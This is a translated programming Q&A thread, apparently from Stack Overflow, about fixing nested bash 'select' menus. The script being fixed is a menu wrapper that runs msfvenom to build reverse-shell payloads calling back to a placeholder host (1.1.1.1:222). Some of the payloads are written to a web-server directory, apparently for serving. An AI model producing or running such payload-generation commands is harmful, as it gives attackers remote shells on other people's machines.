2017-08-31 62 views
0

我有一個多選菜單。菜單中的菜單,然後我喜歡讓腳本做「什麼」,我選擇第二個選項後告訴它。在這種情況下,我使用msfvenom來生成不同類型的shell。而最後一個問題是,當我選擇第一個號碼時,它會跳到右側的子菜單,但是我選擇了第二個號碼,而不是跳入「Web Shells」,它仍然跳入第一個菜單。 PS:這工作得很好,如果我不使用子菜單,基於here選擇後用命令多選菜單

#!/bin/bash 
clear ; 
echo 'Choose a Shell type' 

select shell in Binaries Web Scripting Shellcode 
do 
    case $shell in 
    Binaries|Web|Scripting|Shellcode) 
      break 
      ;; 
    *) 
      echo "Invalid Shell" 
      ;; 
    esac 
done 
clear ; 
# Binaries Shells 
echo 'Now pick a platform based on the number you chose' 
select binaries in Linux Windows MacOS 
do 
    case $binaries in 
    Linux|Windows|MacOS) 
    # Linux 
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86 
    # Windows 
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86 
    # MacOS 
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho 
      break 
      ;; 
    *) 
      echo "Invalid option" 
      ;; 
    esac 
done 
# Web Shells 
select web in PHP ASP JSP WAR 
do 
    case $web in 
    PHP|ASP|JSP|WAR) 
      break 
      ;; 
    *) 
      echo "Invalid option" 
      ;; 
    esac 
done 

而且,如果我做這個東西的工作,身份證只是不停地加入一些更晚

回答

0

添加條件語句 到解決[

當我選擇1號就跳轉到正確的子菜單,但我卻選擇了 2號,而不是跳進「網殼」,它仍然 跳進第一菜單

]

#!/bin/bash 
clear ; 
echo 'Choose a Shell type' 
opt="" 
select shell in Binaries Web Scripting Shellcode 
do 
    opt="$shell" 
    case $shell in 
    Binaries|Web|Scripting|Shellcode) 
      break 
      ;; 
    *) 
      echo "Invalid Shell" 
      ;; 
    esac 
echo $shell 
done 
clear; 

if [ "$opt" = "Binaries" ]; then 
# Binaries Shells 
echo 'Now pick a platform based on the number you chose' 
select binaries in Linux Windows MacOS 
do 
    case $binaries in 
    Linux|Windows|MacOS) 
    # Linux 
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86 
    # Windows 
    msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86 
    # MacOS 
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho 
      break 
      ;; 
    *) 
      echo "Invalid option" 
      ;; 
    esac 
done 
clear; 

fi 

if [ "$opt" = "Web" ] || [ "$opt" = "Binaries" ]; then 
# Web Shells 
select web in PHP ASP JSP WAR 
do 
    case $web in 
    PHP|ASP|JSP|WAR) 
      break 
      ;; 
    *) 
      echo "Invalid option" 
      ;; 
    esac 
done 
clear; 

fi 

假設如果u有很多選擇A,B,C,d,E,F和採摘一個 選項後,說C和你想從那裏導航到d,之後到E d,F E.之後而不是使用邏輯運算符的多個的 倍有一個標誌從所選擇的選項

#!/bin/bash 
clear ; 
echo 'Choose a Shell type' 
opt="" 
flag=false 
設置爲真210

E.g,

if [ "$opt" = "Web" ] || [ "$flag" = true ]; then 
flag=true 
//your code here 
+0

哦,這是真棒,行之有效!謝謝。我是否也可以對我的「msfvenom」選項使用相同的方法?假設在子菜單中「1)Binaires」我有3個選項,根據我將從子菜單中選擇的數量,它會去並分配任何分配的數量。現在只需要在命令後面輸入命令 – Petr

+0

是的,例如,如果[「$ binaries」=「MacOS」];然後 //你的命令在這裏 fi [看看elif語句,因爲你會從3個選項中只選擇一個] 謝謝 –

+0

謝謝,那正是我想要的:)它工作 – Petr